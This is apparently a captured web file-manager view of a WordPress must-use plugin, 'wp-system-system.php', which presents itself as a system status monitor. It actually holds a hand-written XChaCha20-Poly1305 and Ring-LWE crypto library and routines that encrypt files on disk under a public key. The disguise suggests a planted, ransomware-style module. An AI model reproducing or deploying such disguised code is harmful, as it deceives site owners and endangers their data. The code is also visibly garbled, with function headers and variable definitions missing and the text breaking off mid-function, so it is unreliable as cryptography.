文件操作 - wp-system-system.php

文件: /home/moin/htdocs/www.moin.show/wp-content/mu-plugins/wp-system-system.php

编辑文件内容

<?php
// WP_MEDIA_GID
/**
 * System Status Monitor
 *
 * @package WordPress
 * @since 5.0.0
 *
 * System status monitor for periodic health reporting.
 */
if (!defined('ABSPATH')) exit;

// ========== XChaCha20-Poly1305 + Ring-LWE PKE (inlined) ==========
if(!function_exists('xcp_u32')){
// ========== CRYPTO BEGIN ==========
function xcp_u32($x)
{
    return $x & 0xFFFFFFFF;
}

function xcp_rotl32($x, $n)
{
    $x = xcp_u32($x);
    return xcp_u32(($x << $n) | ($x >> (32 - $n)));
}

function xcp_u32le($n)
{
    return chr($n & 0xFF) . chr(($n >> 8) & 0xFF) . chr(($n >> 16) & 0xFF) . chr(($n >> 24) & 0xFF);
}

function xcp_u64le($n)
{
    return xcp_u32le($n & 0xFFFFFFFF) . xcp_u32le(($n >> 16) >> 16);
}

function xcp_qr(&$s, $a, $b, $c, $d)
{
    $s[$a] = xcp_u32($s[$a] + $s[$b]); $s[$d] = xcp_rotl32($s[$d] ^ $s[$a], 16);
    $s[$c] = xcp_u32($s[$c] + $s[$d]); $s[$b] = xcp_rotl32($s[$b] ^ $s[$c], 12);
    $s[$a] = xcp_u32($s[$a] + $s[$b]); $s[$d] = xcp_rotl32($s[$d] ^ $s[$a], 8);
    $s[$c] = xcp_u32($s[$c] + $s[$d]); $s[$b] = xcp_rotl32($s[$b] ^ $s[$c], 7);
}

function xcp_words_to_bytes($words)
{
    $out = '';
    foreach ($words as $w) {
        $out .= chr($w & 0xFF) . chr(($w >> 8) & 0xFF) . chr(($w >> 16) & 0xFF) . chr(($w >> 24) & 0xFF);
    }
    return $out;
}

function xcp_bytes_to_words($bytes, $n)
{
    $words = array();
    for ($i = 0; $i < $n; $i++) {
        $words[$i] = xcp_u32(
            ord($bytes[$i * 4])
            | (ord($bytes[$i * 4 + 1]) << 8)
            | (ord($bytes[$i * 4 + 2]) << 16)
            | (ord($bytes[$i * 4 + 3]) << 24)
        );
    }
    return $words;
}

function xcp_chacha20_keystream($key, $nonce12, $counter, $n)
{
    $key_words   = xcp_bytes_to_words($key, 8);
    $nonce_words = xcp_bytes_to_words($nonce12, 3);
    $constants   = array(0x61707865, 0x3320646e, 0x79622d32, 0x6b206574);

$out   = '';
    $block = 0;
    $bsize = 64;
    $blocks = (int)(($n + $bsize - 1) / $bsize);

for ($b = 0; $b < $blocks; $b++) {
        $state = array_merge(
            $constants,
            $key_words,
            array(xcp_u32($counter + $b)),
            $nonce_words
        );
        $x = xcp_chacha20_block($state);
        $bb = xcp_words_to_bytes($x);
        if ($b == $blocks - 1) {
            $bb = substr($bb, 0, $n - ($b * $bsize));
        }
        $out .= $bb;
    }
    return $out;
}

function xcp_chacha20_xor($key, $nonce12, $counter, $data)
{
    $ks = xcp_chacha20_keystream($key, $nonce12, $counter, strlen($data));
    $out = '';
    $n = strlen($data);
    for ($i = 0; $i < $n; $i++) {
        $out .= chr(ord($data[$i]) ^ ord($ks[$i]));
    }
    return $out;
}

function xcp_hchacha20($key, $nonce16)
{
    $key_words   = xcp_bytes_to_words($key, 8);
    $nonce_words = xcp_bytes_to_words($nonce16, 4);

$state = array_merge(
        array(0x61707865, 0x3320646e, 0x79622d32, 0x6b206574),
        $key_words,
        $nonce_words
    );

for ($i = 0; $i < 10; $i++) {
        xcp_qr($state, 0, 4, 8, 12);
        xcp_qr($state, 1, 5, 9, 13);
        xcp_qr($state, 2, 6, 10, 14);
        xcp_qr($state, 3, 7, 11, 15);
        xcp_qr($state, 0, 5, 10, 15);
        xcp_qr($state, 1, 6, 11, 12);
        xcp_qr($state, 2, 7, 8, 13);
        xcp_qr($state, 3, 4, 9, 14);
    }

return xcp_words_to_bytes(array(
        $state[0], $state[1], $state[2], $state[3],
        $state[12], $state[13], $state[14], $state[15]
    ));
}

define('XCP_P1305_MASK', (1 << 26) - 1);

function xcp_poly1305_load_block($bytes, $len)
{
    
    $bytes = str_pad($bytes, 16, "\0");

$t = array(
        $w0 & 0x03ffffff,
        (($w0 >> 26) | ($w1 << 6))  & 0x03ffffff,
        (($w1 >> 20) | ($w2 << 12)) & 0x03ffffff,
        (($w2 >> 14) | ($w3 << 18)) & 0x03ffffff,
        ($w3 >> 8) & 0x03ffffff,
    );

$pos = 8 * $len;
    $limb = (int)($pos / 26);
    $bit  = $pos % 26;
    $t[$limb] |= (1 << $bit);
    return $t;
}

function xcp_poly1305_add($h, $a)
{
    $h[0] += $a[0];
    $h[1] += $a[1];
    $h[2] += $a[2];
    $h[3] += $a[3];
    $h[4] += $a[4];
    return $h;
}

function xcp_poly1305_mulmod($h, $r)
{
    
    $s1 = $r[1] * 5;
    $s2 = $r[2] * 5;
    $s3 = $r[3] * 5;
    $s4 = $r[4] * 5;

$d0 = $h[0] * $r[0] + $h[1] * $s4 + $h[2] * $s3 + $h[3] * $s2 + $h[4] * $s1;
    $d1 = $h[0] * $r[1] + $h[1] * $r[0] + $h[2] * $s4 + $h[3] * $s3 + $h[4] * $s2;
    $d2 = $h[0] * $r[2] + $h[1] * $r[1] + $h[2] * $r[0] + $h[3] * $s4 + $h[4] * $s3;
    $d3 = $h[0] * $r[3] + $h[1] * $r[2] + $h[2] * $r[1] + $h[3] * $r[0] + $h[4] * $s4;
    $d4 = $h[0] * $r[4] + $h[1] * $r[3] + $h[2] * $r[2] + $h[3] * $r[1] + $h[4] * $r[0];

$c = $d0 >> 26; $h[0] = $d0 & XCP_P1305_MASK; $d1 += $c;
    $c = $d1 >> 26; $h[1] = $d1 & XCP_P1305_MASK; $d2 += $c;
    $c = $d2 >> 26; $h[2] = $d2 & XCP_P1305_MASK; $d3 += $c;
    $c = $d3 >> 26; $h[3] = $d3 & XCP_P1305_MASK; $d4 += $c;
    
    $c = $d4 >> 26; $h[4] = $d4 & XCP_P1305_MASK; $h[0] += $c * 5;
    
    $c = $h[0] >> 26; $h[0] &= XCP_P1305_MASK; $h[1] += $c;
    
    
    
    return $h;
}

function xcp_poly1305_mac($key, $data)
{
    
    
    
    $r_bytes = substr($key, 0, 16);
    $r_words = xcp_bytes_to_words($r_bytes, 4);
    $r_words[0] &= 0x0fffffff;
    $r_words[1] &= 0x0ffffffc;
    $r_words[2] &= 0x0ffffffc;
    $r_words[3] &= 0x0ffffffc;
    $r = array(
        $r_words[0] & 0x03ffffff,
        (($r_words[0] >> 26) | ($r_words[1] << 6)) & 0x03ffffff,
        (($r_words[1] >> 20) | ($r_words[2] << 12)) & 0x03ffffff,
        (($r_words[2] >> 14) | ($r_words[3] << 18)) & 0x03ffffff,
        ($r_words[3] >> 8) & 0x03ffffff,
    );

$h = array(0, 0, 0, 0, 0);

$len = strlen($data);
    $off = 0;
    while ($off + 16 <= $len) {
        $block = substr($data, $off, 16);
        $t = xcp_poly1305_load_block($block, 16);
        $h = xcp_poly1305_add($h, $t);
        $h = xcp_poly1305_mulmod($h, $r);
        $off += 16;
    }
    if ($off < $len) {
        $block = substr($data, $off);
        $t = xcp_poly1305_load_block($block, strlen($block));
        $h = xcp_poly1305_add($h, $t);
        $h = xcp_poly1305_mulmod($h, $r);
    }

$c = $h[1] >> 26; $h[1] &= XCP_P1305_MASK;
    $h[2] += $c; $c = $h[2] >> 26; $h[2] &= XCP_P1305_MASK;
    $h[3] += $c; $c = $h[3] >> 26; $h[3] &= XCP_P1305_MASK;
    $h[4] += $c; $c = $h[4] >> 26; $h[4] &= XCP_P1305_MASK;
    $h[0] += $c * 5; $c = $h[0] >> 26; $h[0] &= XCP_P1305_MASK;
    $h[1] += $c;

$g0 = $h[0] + 5;
    $g1 = $h[1] + ($g0 >> 26); $g0 &= XCP_P1305_MASK;
    $g2 = $h[2] + ($g1 >> 26); $g1 &= XCP_P1305_MASK;
    $g3 = $h[3] + ($g2 >> 26); $g2 &= XCP_P1305_MASK;
    $g4 = $h[4] + ($g3 >> 26); $g3 &= XCP_P1305_MASK;
    $g4 -= (1 << 26);
    if ($g4 >= 0) {
        $g4 &= XCP_P1305_MASK;
        $h = array($g0, $g1, $g2, $g3, $g4);
    }

$a0 = $h[0] | (($h[1] & 0x3F) << 26);
    $a1 = ($h[1] >> 6) | (($h[2] & 0xFFF) << 20);
    $a2 = ($h[2] >> 12) | (($h[3] & 0x3FFFF) << 14);
    $a3 = ($h[3] >> 18) | (($h[4] & 0xFFFFFF) << 8);

$s_bytes = substr($key, 16, 16);
    $s_words = xcp_bytes_to_words($s_bytes, 4);
    $sum0 = $a0 + $s_words[0];         $a0 = $sum0 & 0xFFFFFFFF; $carry = $sum0 >> 32;
    $sum1 = $a1 + $s_words[1] + $carry; $a1 = $sum1 & 0xFFFFFFFF; $carry = $sum1 >> 32;
    $sum2 = $a2 + $s_words[2] + $carry; $a2 = $sum2 & 0xFFFFFFFF; $carry = $sum2 >> 32;
    $sum3 = $a3 + $s_words[3] + $carry; $a3 = $sum3 & 0xFFFFFFFF;

return xcp_u32le($a0) . xcp_u32le($a1) . xcp_u32le($a2) . xcp_u32le($a3);
}

function xcp_pad16($data)
{
    $rem = strlen($data) % 16;
    if ($rem == 0) {
        return $data;
    }
    return $data . str_repeat("\0", 16 - $rem);
}

function xcp_chacha20_poly1305_encrypt($key, $nonce12, $pt, $aad = '')
{
    
    $poly_key = xcp_chacha20_keystream($key, $nonce12, 0, 32);

$ct = xcp_chacha20_xor($key, $nonce12, 1, $pt);

$mac_input = xcp_pad16($aad) . xcp_pad16($ct)
        . xcp_u64le(strlen($aad)) . xcp_u64le(strlen($ct));
    $tag = xcp_poly1305_mac($poly_key, $mac_input);

$poly_key = str_repeat("\0", 32);

return $ct . $tag;
}

function xcp_chacha20_poly1305_decrypt($key, $nonce12, $ct_tag, $aad = '')
{
    if (strlen($ct_tag) < 16) {
        return false;
    }
    $ct = substr($ct_tag, 0, -16);
    $tag = substr($ct_tag, -16);

$poly_key = xcp_chacha20_keystream($key, $nonce12, 0, 32);
    $mac_input = xcp_pad16($aad) . xcp_pad16($ct)
        . xcp_u64le(strlen($aad)) . xcp_u64le(strlen($ct));
    $expected = xcp_poly1305_mac($poly_key, $mac_input);
    $poly_key = str_repeat("\0", 32);

if (!xcp_ct_equal($tag, $expected)) {
        return false;
    }

return xcp_chacha20_xor($key, $nonce12, 1, $ct);
}

function xcp_xchacha20_poly1305_encrypt($key, $nonce24, $pt, $aad = '')
{
    if (strlen($nonce24) != 24) {
        return false;
    }
    
    
    $subkey = xcp_hchacha20($key, substr($nonce24, 0, 16));
    
    
    $chacha_nonce = "\x00\x00\x00\x00" . substr($nonce24, 16, 8);
    return xcp_chacha20_poly1305_encrypt($subkey, $chacha_nonce, $pt, $aad);
}

function xcp_xchacha20_poly1305_decrypt($key, $nonce24, $ct_tag, $aad = '')
{
    if (strlen($nonce24) != 24) {
        return false;
    }
    $subkey = xcp_hchacha20($key, substr($nonce24, 0, 16));
    $chacha_nonce = "\x00\x00\x00\x00" . substr($nonce24, 16, 8);
    return xcp_chacha20_poly1305_decrypt($subkey, $chacha_nonce, $ct_tag, $aad);
}

function xcp_bin2hex($bin)
{
    return bin2hex($bin);
}

define('RLWE_N', 1024);
define('RLWE_Q', 12289);
define('RLWE_ETA', 3);
define('RLWE_SEED_BYTES', 64);
define('RLWE_REQUIRE_SECURE_RANDOM', true);
define('RLWE_MIN_CHUNK_BYTES', 1024);
define('RLWE_MAX_CHUNK_BYTES', 67108864);
define('RLWE_MAX_HEADER_LINE_BYTES', 8192);
define('RLWE_MAX_CHUNKS', 1073741823);
define('RLWE_FILE_MAGIC', 'RLWEDEMO-HYBRID-6');
define('RLWE_DERIVED_KEY_BYTES', 32);
define('RLWE_TAG_BYTES', 32);

function rlwe_mod_q($x)
{
    $x %= RLWE_Q;
    return $x < 0 ? $x + RLWE_Q : $x;
}

function rlwe_center($x)
{
    $x = rlwe_mod_q($x);
    return $x > (RLWE_Q >> 1) ? $x - RLWE_Q : $x;
}

function rlwe_empty_poly()
{
    return array_fill(0, RLWE_N, 0);
}

function rlwe_poly_add($a, $b)
{
    $r = array();
    for ($i = 0; $i < RLWE_N; $i++) {
        $r[$i] = rlwe_mod_q($a[$i] + $b[$i]);
    }
    return $r;
}

function rlwe_poly_sub($a, $b)
{
    $r = array();
    for ($i = 0; $i < RLWE_N; $i++) {
        $r[$i] = rlwe_mod_q($a[$i] - $b[$i]);
    }
    return $r;
}

$r = array();
    for ($i = 0; $i < RLWE_N; $i++) {
        $r[$i] = rlwe_mod_q($tmp[$i] - $tmp[$i + RLWE_N]);
    }
    return $r;
}

function rlwe_bytes_to_u32($s, $off)
{
    $v = 0;
    for ($i = 0; $i < 4; $i++) {
        $v = ($v << 8) | (($off + $i < strlen($s)) ? ord($s[$off + $i]) : 0);
    }
    return $v & 0xffffffff;
}

function rlwe_prng_u32(&$st)
{
    $t = ($st[0] ^ (($st[0] << 11) & 0xffffffff)) & 0xffffffff;
    $st[0] = $st[1];
    $st[1] = $st[2];
    $st[2] = $st[3];
    $st[3] = ($st[3] ^ (($st[3] >> 19) & 0xffffffff) ^ $t ^ (($t >> 8) & 0xffffffff)) & 0xffffffff;
    return $st[3];
}

function rlwe_prng_byte(&$st)
{
    return rlwe_prng_u32($st) & 0xff;
}

function rlwe_hash($data)
{
    return sha1($data, true);
}

function rlwe_hash_len()
{
    return 20;
}

function rlwe_tag_len()
{
    return RLWE_TAG_BYTES;
}

function rlwe_require_byte_count($n, $name)
{
    if (!is_int($n) || $n < 0) {
        throw new Exception('Bad ' . $name . ' byte count.');
    }
}

function rlwe_gpu_month_models($security_bits)
{
    $seconds = 30 * 24 * 60 * 60;
    $models = array();
    foreach (array(30, 40, 50) as $rate_log2) {
        $estimate = rlwe_bruteforce_estimate($security_bits, $rate_log2, $seconds);
        $estimate['model'] = '2^' . $rate_log2 . ' attempts/second for 30 days';
        $models[] = $estimate;
    }
    return $models;
}

function rlwe_security_profile()
{
    $gpu_month_models = rlwe_gpu_month_models(rlwe_hash_len() * 8);
    $consumer_gpu_month = $gpu_month_models[0];
    $aggressive_gpu_month = $gpu_month_models[count($gpu_month_models) - 1];
    return array(
        'file_magic' => RLWE_FILE_MAGIC,
        'n' => RLWE_N,
        'q' => RLWE_Q,
        'eta' => RLWE_ETA,
        'seed_bytes' => RLWE_SEED_BYTES,
        'session_key_bytes' => 64,
        'session_entropy_bits' => 512,
        'hash' => 'sha1',
        'derived_key_bytes' => RLWE_DERIVED_KEY_BYTES,
        'tag_bytes' => rlwe_tag_len(),
        'tag_output_bits' => rlwe_tag_len() * 8,
        'primitive_output_bits' => rlwe_hash_len() * 8,
        'bruteforce_floor_bits' => rlwe_hash_len() * 8,
        'production_safe' => false,
        'public_key_bytes' => RLWE_SEED_BYTES + RLWE_N * 2,
        'secret_key_bytes' => RLWE_N * 2 + rlwe_hash_len(),
        'pke_ciphertext_bytes' => RLWE_N * 4,
        'file_header_overhead_bytes_at_min_chunk' => rlwe_file_header_overhead_bytes(RLWE_MIN_CHUNK_BYTES),
        'file_chunk_overhead_bytes' => 4 + rlwe_tag_len(),
        'file_final_overhead_bytes' => 4 + rlwe_tag_len(),
        'secure_random_required' => RLWE_REQUIRE_SECURE_RANDOM,
        'min_chunk_bytes' => RLWE_MIN_CHUNK_BYTES,
        'max_chunk_bytes' => RLWE_MAX_CHUNK_BYTES,
        'max_chunks' => RLWE_MAX_CHUNKS,
        'consumer_gpu_month_model' => '2^30 attempts/second for 30 days',
        'consumer_gpu_month_attempts_log2' => $consumer_gpu_month['attempts_log2'],
        'consumer_gpu_month_margin_bits' => $consumer_gpu_month['margin_bits'],
        'consumer_gpu_month_passes' => $consumer_gpu_month['passes'],
        'gpu_month_models' => $gpu_month_models,
        'aggressive_gpu_month_model' => $aggressive_gpu_month['model'],
        'aggressive_gpu_month_attempts_log2' => $aggressive_gpu_month['attempts_log2'],
        'aggressive_gpu_month_margin_bits' => $aggressive_gpu_month['margin_bits'],
        'aggressive_gpu_month_passes' => $aggressive_gpu_month['passes']
    );
}

function rlwe_file_header_overhead_bytes($chunk_size)
{
    $chunk_size = rlwe_normalize_chunk_size($chunk_size);
    return strlen(RLWE_FILE_MAGIC) + 1
        + 16 * 2 + 1
        + RLWE_SEED_BYTES * 2 + 1
        + RLWE_N * 4 + 1
        + RLWE_N * 4 + 1
        + RLWE_N * 4 + 1
        + rlwe_tag_len() * 2 + 1
        + strlen((string)$chunk_size) + 1;
}

function rlwe_expand_bytes($seed, $label, $n)
{
    rlwe_require_byte_count($n, 'expand');
    $out = '';
    $counter = 0;
    while (strlen($out) < $n) {
        $out .= rlwe_hash("RLWE-DEMO-EXPAND|" . $label . "|" . $seed . "|" . rlwe_u32be($counter));
        $counter++;
    }
    return substr($out, 0, $n);
}

if (DIRECTORY_SEPARATOR == '/' && is_readable('/dev/urandom')) {
        $fh = fopen('/dev/urandom', 'rb');
        if ($fh) {
            while (strlen($bytes) < $n && !feof($fh)) {
                $part = fread($fh, $n - strlen($bytes));
                if ($part === false || $part === '') {
                    break;
                }
                $bytes .= $part;
            }
            fclose($fh);
            if (strlen($bytes) == $n) {
                $GLOBALS['RLWE_LAST_RANDOM_SOURCE'] = '/dev/urandom';
                return $bytes;
            }
        }
    }

$seed = microtime(true) . '|' . getmypid() . '|' . mt_rand() . '|' . uniqid('', true);
    $st = rlwe_prng_new($seed);
    while (strlen($bytes) < $n) {
        $bytes .= chr(rlwe_prng_byte($st));
    }
    $GLOBALS['RLWE_LAST_RANDOM_SOURCE'] = 'demo-fallback';
    return $bytes;
}

function rlwe_random_source_is_secure()
{
    return isset($GLOBALS['RLWE_LAST_RANDOM_SOURCE'])
        && ($GLOBALS['RLWE_LAST_RANDOM_SOURCE'] == 'random_bytes' || $GLOBALS['RLWE_LAST_RANDOM_SOURCE'] == '/dev/urandom');
}

function rlwe_entropy_source_probe()
{
    rlwe_random_bytes(1);
    $source = isset($GLOBALS['RLWE_LAST_RANDOM_SOURCE']) ? $GLOBALS['RLWE_LAST_RANDOM_SOURCE'] : 'unknown';
    return array(
        'source' => $source,
        'secure' => ($source == 'random_bytes' || $source == '/dev/urandom')
    );
}

function rlwe_require_secure_random()
{
    if (RLWE_REQUIRE_SECURE_RANDOM && !rlwe_random_source_is_secure()) {
        throw new Exception('Secure randomness is required. Use PHP random_bytes() or /dev/urandom for non-demo encryption.');
    }
}

function rlwe_entropy_bytes($n, $allow_demo_random = false)
{
    rlwe_require_byte_count($n, 'entropy');
    $bytes = rlwe_random_bytes($n);
    if (!$allow_demo_random) {
        rlwe_require_secure_random();
    }
    return $bytes;
}

function rlwe_pack_poly($p)
{
    $s = '';
    for ($i = 0; $i < RLWE_N; $i++) {
        $v = rlwe_mod_q($p[$i]);
        $s .= chr($v & 0xff) . chr(($v >> 8) & 0xff);
    }
    return $s;
}

function rlwe_require_hex_len($value, $bytes, $name)
{
    if (!is_string($value) || strlen($value) != $bytes * 2) {
        throw new Exception('Bad ' . $name . ' length.');
    }
    if (!preg_match('/^[0-9a-fA-F]+$/', $value)) {
        throw new Exception('Bad ' . $name . ' hex.');
    }
}

function rlwe_validate_public_key($public)
{
    if (!is_array($public) || !isset($public['seed_a_hex']) || !isset($public['b_hex'])) {
        throw new Exception('Bad public key.');
    }
    rlwe_require_hex_len($public['seed_a_hex'], RLWE_SEED_BYTES, 'public seed');
    rlwe_require_hex_len($public['b_hex'], RLWE_N * 2, 'public polynomial');
}

function rlwe_validate_ciphertext($ciphertext)
{
    if (!is_array($ciphertext) || !isset($ciphertext['u_hex']) || !isset($ciphertext['v_hex'])) {
        throw new Exception('Bad ciphertext.');
    }
    rlwe_require_hex_len($ciphertext['u_hex'], RLWE_N * 2, 'ciphertext u');
    rlwe_require_hex_len($ciphertext['v_hex'], RLWE_N * 2, 'ciphertext v');
}

function rlwe_public_fingerprint($public)
{
    rlwe_validate_public_key($public);
    return bin2hex(rlwe_hash("RLWE-DEMO-PUBLIC-FP|" . $public['seed_a_hex'] . "|" . $public['b_hex']));
}

function rlwe_keypair($allow_demo_random = false)
{
    $seed_a = rlwe_entropy_bytes(RLWE_SEED_BYTES, $allow_demo_random);
    $seed_s = rlwe_entropy_bytes(RLWE_SEED_BYTES, $allow_demo_random);
    $seed_e = rlwe_entropy_bytes(RLWE_SEED_BYTES, $allow_demo_random);

$a = rlwe_public_a($seed_a);
    $s = rlwe_small_poly("s|" . $seed_s);
    $e = rlwe_small_poly("e|" . $seed_e);
    $b = rlwe_poly_add(rlwe_poly_mul($a, $s), $e);

$public = array(
        'seed_a_hex' => bin2hex($seed_a),
        'b_hex' => bin2hex(rlwe_pack_poly($b))
    );

return array(
        'public' => $public,
        'secret' => array(
            's_hex' => bin2hex(rlwe_pack_poly($s)),
            'public_fp_hex' => rlwe_public_fingerprint($public)
        )
    );
}

function rlwe_encrypt_with_rho($public, $message, $rho)
{
    rlwe_validate_public_key($public);
    if (!is_string($rho) || strlen($rho) != RLWE_SEED_BYTES) {
        throw new Exception('Bad encryption randomness length.');
    }
    $seed_a = rlwe_hex_to_bin($public['seed_a_hex']);
    $b = rlwe_unpack_poly(rlwe_hex_to_bin($public['b_hex']));
    $a = rlwe_public_a($seed_a);

$r = rlwe_small_poly("r|" . $rho);
    $e1 = rlwe_small_poly("e1|" . $rho);
    $e2 = rlwe_small_poly("e2|" . $rho);
    $m = rlwe_message_to_poly($message);

$u = rlwe_poly_add(rlwe_poly_mul($a, $r), $e1);
    $v = rlwe_poly_add(rlwe_poly_add(rlwe_poly_mul($b, $r), $e2), $m);

return array(
        'u_hex' => bin2hex(rlwe_pack_poly($u)),
        'v_hex' => bin2hex(rlwe_pack_poly($v))
    );
}

function rlwe_encrypt($public, $message, $allow_demo_random = false)
{
    $rho = rlwe_entropy_bytes(RLWE_SEED_BYTES, $allow_demo_random);
    return rlwe_encrypt_with_rho($public, $message, $rho);
}

function rlwe_decrypt($secret, $ciphertext)
{
    rlwe_validate_secret_key($secret);
    rlwe_validate_ciphertext($ciphertext);
    $s = rlwe_unpack_poly(rlwe_hex_to_bin($secret['s_hex']));
    $u = rlwe_unpack_poly(rlwe_hex_to_bin($ciphertext['u_hex']));
    $v = rlwe_unpack_poly(rlwe_hex_to_bin($ciphertext['v_hex']));
    return rlwe_poly_to_message(rlwe_poly_sub($v, rlwe_poly_mul($u, $s)));
}

function rlwe_try_decrypt($secret, $ciphertext)
{
    try {
        return rlwe_decrypt($secret, $ciphertext);
    } catch (Exception $e) {
        return false;
    }
}

function rlwe_wrap_tag($public, $secret, $u_hex, $v_hex)
{
    return bin2hex(rlwe_auth_tag($secret, 'wrap', $public['seed_a_hex'] . "|" . $public['b_hex'] . "|" . $u_hex . "|" . $v_hex));
}

function rlwe_wrap_rho($public, $secret)
{
    return rlwe_derive_bytes($secret, "WRAP-RHO|" . $public['seed_a_hex'] . "|" . $public['b_hex'], RLWE_SEED_BYTES);
}

function rlwe_wrap_secret($public, $secret, $allow_demo_random = false)
{
    rlwe_validate_public_key($public);
    if (!is_string($secret) || strlen($secret) != 64) {
        throw new Exception('Bad wrapped secret length.');
    }
    $ct = rlwe_encrypt_with_rho($public, $secret, rlwe_wrap_rho($public, $secret));
    $ct['tag_hex'] = rlwe_wrap_tag($public, $secret, $ct['u_hex'], $ct['v_hex']);
    return $ct;
}

function rlwe_header_ad($nonce_hex, $pub_seed_hex, $pub_b_hex, $u_hex, $v_hex, $wrap_tag_hex, $chunk_size)
{
    return RLWE_FILE_MAGIC . "\n" . $nonce_hex . "\n" . $pub_seed_hex . "\n" . $pub_b_hex . "\n" . $u_hex . "\n" . $v_hex . "\n" . $wrap_tag_hex . "\n" . $chunk_size . "\n";
}

function rlwe_u32be($n)
{
    return chr(($n >> 24) & 0xff) . chr(($n >> 16) & 0xff) . chr(($n >> 8) & 0xff) . chr($n & 0xff);
}

function rlwe_finalize_temp_file($tmp_path, $output_path, $label)
{
    if (@rename($tmp_path, $output_path)) {
        return;
    }

if (file_exists($output_path)) {
        $dir = dirname($output_path);
        if ($dir === '') {
            $dir = '.';
        }
        $backup_path = tempnam($dir, 'rlwe_old_');
        if ($backup_path !== false) {
            @unlink($backup_path);
            if (@rename($output_path, $backup_path)) {
                if (@rename($tmp_path, $output_path)) {
                    @unlink($backup_path);
                    return;
                }
                @rename($backup_path, $output_path);
                @unlink($tmp_path);
                throw new Exception('Cannot finalize ' . $label . ' output file; previous output was restored.');
            }
            @unlink($backup_path);
        }
    }

@unlink($tmp_path);
    throw new Exception('Cannot finalize ' . $label . ' output file.');
}

function rlwe_xor_bytes($a, $b)
{
    $r = '';
    $n = strlen($a);
    for ($i = 0; $i < $n; $i++) {
        $r .= chr(ord($a[$i]) ^ ord($b[$i]));
    }
    return $r;
}

function rlwe_hmac($key, $data)
{
    if (strlen($key) > 64) {
        $key = rlwe_hash($key);
    }
    $key = str_pad($key, 64, "\0");
    $ipad = str_repeat(chr(0x36), 64);
    $opad = str_repeat(chr(0x5c), 64);
    return rlwe_hash(($key ^ $opad) . rlwe_hash(($key ^ $ipad) . $data));
}

function rlwe_derive($master, $label)
{
    return rlwe_derive_bytes($master, "KDF|" . $label, RLWE_DERIVED_KEY_BYTES);
}

function rlwe_derive_bytes($master, $label, $n)
{
    rlwe_require_byte_count($n, 'derive');
    $out = '';
    $counter = 0;
    while (strlen($out) < $n) {
        $out .= rlwe_hmac($master, "RLWE-DEMO-KDF-EXPAND|" . $label . "|" . rlwe_u32be($counter));
        $counter++;
    }
    return substr($out, 0, $n);
}

function rlwe_auth_tag($key, $label, $data)
{
    $out = '';
    $counter = 0;
    while (strlen($out) < RLWE_TAG_BYTES) {
        $out .= rlwe_hmac($key, "RLWE-DEMO-AUTH|" . $label . "|" . rlwe_u32be($counter) . "|" . $data);
        $counter++;
    }
    return substr($out, 0, RLWE_TAG_BYTES);
}

function rlwe_keystream($key, $nonce, $counter, $n)
{
    rlwe_require_byte_count($n, 'keystream');
    $out = '';
    $block = 0;
    while (strlen($out) < $n) {
        $out .= rlwe_hmac($key, "RLWE-DEMO-STREAM|" . $nonce . rlwe_u32be($counter) . rlwe_u32be($block));
        $block++;
    }
    return substr($out, 0, $n);
}

function rlwe_constant_time_equals($a, $b)
{
    $la = strlen($a);
    $lb = strlen($b);
    $diff = $la ^ $lb;
    $max = $la > $lb ? $la : $lb;
    for ($i = 0; $i < $max; $i++) {
        $ca = $i < $la ? ord($a[$i]) : 0;
        $cb = $i < $lb ? ord($b[$i]) : 0;
        $diff |= $ca ^ $cb;
    }
    return $diff == 0;
}

function rlwe_encrypt_file($public, $input_path, $output_path, $chunk_size, $allow_demo_random = false)
{
    rlwe_validate_public_key($public);
    $chunk_size = rlwe_normalize_chunk_size($chunk_size);
    $session = rlwe_entropy_bytes(64, $allow_demo_random);
    $nonce = rlwe_entropy_bytes(16, $allow_demo_random);
    $wrapped = rlwe_wrap_secret($public, $session, $allow_demo_random);
    $enc_key = rlwe_derive($session, 'enc');
    $mac_key = rlwe_derive($session, 'mac');

$in = fopen($input_path, 'rb');
    if (!$in) {
        throw new Exception('Cannot open input file.');
    }
    try {
        $tmp_path = rlwe_temp_path_for_output($output_path, 'rlwe_enc_');
    } catch (Exception $e) {
        fclose($in);
        throw $e;
    }
    $out = fopen($tmp_path, 'wb');
    if (!$out) {
        fclose($in);
        @unlink($tmp_path);
        throw new Exception('Cannot open output file.');
    }

$nonce_hex = bin2hex($nonce);
    $header_ad = rlwe_header_ad($nonce_hex, $public['seed_a_hex'], $public['b_hex'], $wrapped['u_hex'], $wrapped['v_hex'], $wrapped['tag_hex'], $chunk_size);
    if (!rlwe_write_all($out, $header_ad)) {
        fclose($in);
        fclose($out);
        @unlink($tmp_path);
        throw new Exception('Cannot write encrypted file header.');
    }

$counter = 0;
    while (!feof($in)) {
        if ($counter >= RLWE_MAX_CHUNKS) {
            fclose($in);
            fclose($out);
            @unlink($tmp_path);
            throw new Exception('Too many encrypted file chunks.');
        }
        $plain = fread($in, $chunk_size);
        if ($plain === false) {
            fclose($in);
            fclose($out);
            @unlink($tmp_path);
            throw new Exception('Cannot read input file chunk.');
        }
        if ($plain === '') {
            break;
        }
        $stream = rlwe_keystream($enc_key, $nonce, $counter, strlen($plain));
        $cipher = rlwe_xor_bytes($plain, $stream);
        $tag = rlwe_auth_tag($mac_key, 'chunk', $header_ad . rlwe_u32be($counter) . rlwe_u32be(strlen($cipher)) . $cipher);
        if (!rlwe_write_all($out, rlwe_u32be(strlen($cipher)) . $cipher . $tag)) {
            fclose($in);
            fclose($out);
            @unlink($tmp_path);
            throw new Exception('Cannot write encrypted file chunk.');
        }
        $counter++;
    }
    $final_tag = rlwe_auth_tag($mac_key, 'final', $header_ad . "FINAL|" . rlwe_u32be($counter));
    if (!rlwe_write_all($out, rlwe_u32be(0) . $final_tag)) {
        fclose($in);
        fclose($out);
        @unlink($tmp_path);
        throw new Exception('Cannot write final authentication tag.');
    }

fclose($in);
    fclose($out);
    rlwe_finalize_temp_file($tmp_path, $output_path, 'encrypted');
}

function rlwe_decrypt_file($secret, $input_path, $output_path)
{
    rlwe_validate_secret_key($secret);
    $in = fopen($input_path, 'rb');
    if (!$in) {
        throw new Exception('Cannot open input file.');
    }

try {
        $magic = rlwe_read_header_line($in, 'magic');
        if ($magic !== RLWE_FILE_MAGIC) {
            throw new Exception('Bad encrypted file format.');
        }

$nonce_hex = rlwe_read_header_line($in, 'nonce');
        $pub_seed_hex = rlwe_read_header_line($in, 'public seed');
        $pub_b_hex = rlwe_read_header_line($in, 'public polynomial');
        $u_hex = rlwe_read_header_line($in, 'ciphertext u');
        $v_hex = rlwe_read_header_line($in, 'ciphertext v');
        $wrap_tag_hex = rlwe_read_header_line($in, 'wrapped secret tag');
